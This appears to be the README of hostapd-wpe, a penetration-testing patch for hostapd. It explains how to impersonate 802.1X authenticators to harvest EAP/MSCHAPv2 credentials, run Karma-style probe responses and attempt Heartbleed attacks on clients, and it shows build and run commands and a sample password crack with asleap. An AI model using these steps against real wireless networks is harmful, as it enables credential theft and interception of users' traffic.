| 1 |
# About |
| 2 |
|
| 3 |
hostapd-wpe is the replacement for [FreeRADIUS-WPE](http://www.willhackforsushi.com/?page_id=37). |
| 4 |
|
| 5 |
It implements IEEE 802.1x Authenticator and Authentication Server impersonation attacks to obtain client credentials, establish connectivity to the client, and launch other attacks where applicable. |
| 6 |
|
| 7 |
hostapd-wpe supports the following EAP types for impersonation: |
| 8 |
1. EAP-FAST/MSCHAPv2 (Phase 0) |
| 9 |
2. PEAP/MSCHAPv2 |
| 10 |
3. EAP-TTLS/MSCHAPv2 |
| 11 |
4. EAP-TTLS/MSCHAP |
| 12 |
5. EAP-TTLS/CHAP |
| 13 |
6. EAP-TTLS/PAP |
| 14 |
|
| 15 |
Once impersonation is underway, hostapd-wpe will return an EAP-Success message so that the client believes they are connected to their legitimate authenticator. |
| 16 |
|
| 17 |
For 802.11 clients, hostapd-wpe also implements Karma-style gratuitous probe responses. Inspiration for this was provided by [JoMo-Kun's patch](http://www.foofus.net/?page_id=115) for older versions of hostapd. |
| 18 |
|
| 19 |
hostapd-wpe also implements CVE-2014-0160 (Heartbleed) attacks against vulnerable clients. Inspiration for this was provided by the [Cupid](https://github.com/lgrangeia/cupid) PoC. |
| 20 |
|
| 21 |
hostapd-wpe logs all data to stdout and hostapd-wpe.log |
| 22 |
|
| 23 |
# Quick Usage |
| 24 |
Once hostapd-wpe.patch is applied, hostapd-wpe.conf will be created at /path/to/build/hostapd/hostapd-wpe.conf. See that file for more information. Note that /path/to/build/hostapd/hostapd-wpe.eap_users will also be created, and hostapd-wpe is dependent on it. |
| 25 |
|
| 26 |
Basic usage is: |
| 27 |
|
| 28 |
``` |
| 29 |
hostapd-wpe hostapd-wpe.conf |
| 30 |
``` |
| 31 |
|
| 32 |
Credentials will be displayed on the screen and stored in hostapd-wpe.log |
| 33 |
|
| 34 |
Additional WPE command line options are: |
| 35 |
|
| 36 |
``` |
| 37 |
-s Return EAP-Success messages after credentials are harvested |
| 38 |
-k Gratuitous probe responses (Karma mode) |
| 39 |
-c Attempt to exploit CVE-2014-0160 (Cupid mode) |
| 40 |
``` |
| 41 |
|
| 42 |
# Building |
| 43 |
|
| 44 |
## Dependencies |
| 45 |
|
| 46 |
- pkg-config |
| 47 |
- libssl (1.0 ideally) |
| 48 |
- libnl3 (and genl) |
| 49 |
- sqlite3 |
| 50 |
|
| 51 |
Note: If libssl 1.1 is used, Heartbleed is not present due to issue #2122 in openssl GitHub repository |
| 52 |
|
| 53 |
## Debian-based distro |
| 54 |
|
| 55 |
``` |
| 56 |
apt-get install libssl-dev libnl-genl-3-dev libnl-3-dev pkg-config libsqlite3-dev build-essential wget --no-install-recommends |
| 57 |
``` |
| 58 |
|
| 59 |
## General |
| 60 |
|
| 61 |
``` |
| 62 |
wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/hostapd-wpe/hostapd-2.10-wpe.patch |
| 63 |
wget https://w1.fi/releases/hostapd-2.10.tar.gz |
| 64 |
tar -zxf hostapd-2.10.tar.gz |
| 65 |
cd hostapd-2.10 |
| 66 |
patch -p1 < ../hostapd-2.10-wpe.patch |
| 67 |
cd hostapd |
| 68 |
``` |
| 69 |
|
| 70 |
Then: |
| 71 |
|
| 72 |
``` |
| 73 |
make |
| 74 |
make install |
| 75 |
make wpe |
| 76 |
``` |
| 77 |
|
| 78 |
# Creating certs |
| 79 |
|
| 80 |
``` |
| 81 |
cd /etc/hostapd-wpe/certs |
| 82 |
./bootstrap |
| 83 |
make install |
| 84 |
``` |
| 85 |
|
| 86 |
# Running |
| 87 |
|
| 88 |
With all of that complete, you can run hostapd. The patch will create a new hostapd-wpe.conf, which you'll likely need to modify in order to make it work for your attack. Once ready just run |
| 89 |
|
| 90 |
``` |
| 91 |
hostapd /etc/hostapd-wpe/hostapd-wpe.conf |
| 92 |
``` |
| 93 |
|
| 94 |
Look in the output for the username/challenge/response. It'll be there and in a hostapd-wpe.log file in the directory you ran hostapd from for instance here are the EAP-FAST Phase 0 creds from stdout: |
| 95 |
|
| 96 |
``` |
| 97 |
username: jdslfkjs |
| 98 |
challenge: bc:87:6c:48:37:d3:92:6e |
| 99 |
response: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 |
| 100 |
``` |
| 101 |
|
| 102 |
and finally, feed them into asleap to crack: |
| 103 |
|
| 104 |
``` |
| 105 |
# asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist |
| 106 |
asleap 2.3 - actively recover LEAP/PPTP passwords. <[email protected]> |
| 107 |
hash bytes: b1ca |
| 108 |
NT hash: e614b958df9df49ec094b8730f0bb1ca |
| 109 |
password: bradtest |
| 110 |
``` |
| 111 |
|
| 112 |
Alternatively MSCHAPv2 credentials are outputted in john the rippers NETNTLM format. |
| 113 |
|
| 114 |
## Troubleshooting |
| 115 |
|
| 116 |
### OpenSSL: tls_global_ca_cert - Failed to load root certificates error:02001002:system library:fopen:No such file or directory |
| 117 |
|
| 118 |
Certificates are not created. Follow the procedure above to create them |
| 119 |
|
| 120 |
### nl80211 driver initialization failed. |
| 121 |
|
| 122 |
One of the possible reasons is that other processes are using the interface. Running ```airmon-ng check kill``` fixes the issue (it will kill any network manager and network connection). |
| 123 |
|
| 124 |
# EAP-Success |
| 125 |
|
| 126 |
Certain EAP types do not require the server to authenticate itself, just to validate the client's submitted credentials. Since we're playing the authentication server, that means we can easily just return an EAP-Success message to the client regardless of what they send us. The client is happy because they've connected, but unfortunately are unaware that they are connected to an unapproved authenticator. |
| 127 |
|
| 128 |
At this point, the attacker can set up a dhcp server and give the client an IP and then do whatever they'd like (e.g. redirect dns, launch attacks, MiTM, etc..) |
| 129 |
|
| 130 |
MSCHAPv2 protects against this by having the server prove knowledge of the password most supplicants adhere to this policy, but we return EAP-Success just in case. |
| 131 |
|
| 132 |
# Karma-Style Probes |
| 133 |
|
| 134 |
This functionality simply waits for an client to send a directed probe, when it does, it assumes that SSID and responds to the client. Only applicable to 802.11 clients. |
| 135 |
|
| 136 |
# A note on MSCHAPv2 |
| 137 |
|
| 138 |
Microsoft offers something called "Computer Based Authentication". When a computer joins a domain it is assigned a password. This password is stored on the system and in active directory. We can harvest the MSCHAPv2 response from these systems but its going to take a lifetime to crack. Unless you're just trying to solve for the hash, and not the actual password :) |
| 139 |
|
| 140 |
One other thing to note, if the client returns all zeros, it isn't joined to a domain. |
| 141 |
|
| 142 |
# Testing Heartbleed |
| 143 |
|
| 144 |
If you're running Ubuntu and want to test Heartbleed you'll need to downgrade to a vulnerable version of OpenSSL. That can be done by: |
| 145 |
|
| 146 |
``` |
| 147 |
wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/openssl_1.0.1-4ubuntu5.11_i386.deb |
| 148 |
wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl-dev_1.0.1-4ubuntu5.11_i386.deb |
| 149 |
wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl-doc_1.0.1-4ubuntu5.11_all.deb |
| 150 |
wget https://launchpad.net/~ubuntu-security/+archive/ubuntu/ppa/+build/5436465/+files/libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb |
| 151 |
sudo dpkg -i libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb |
| 152 |
sudo dpkg --install libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb \ |
| 153 |
libssl-dev_1.0.1-4ubuntu5.11_i386.deb \ |
| 154 |
libssl-doc_1.0.1-4ubuntu5.11_all.deb \ |
| 155 |
openssl_1.0.1-4ubuntu5.11_i386.deb |
| 156 |
``` |
| 157 |
|
| 158 |
Then use wpa_supplicant to connect to hostapd-wpe -c |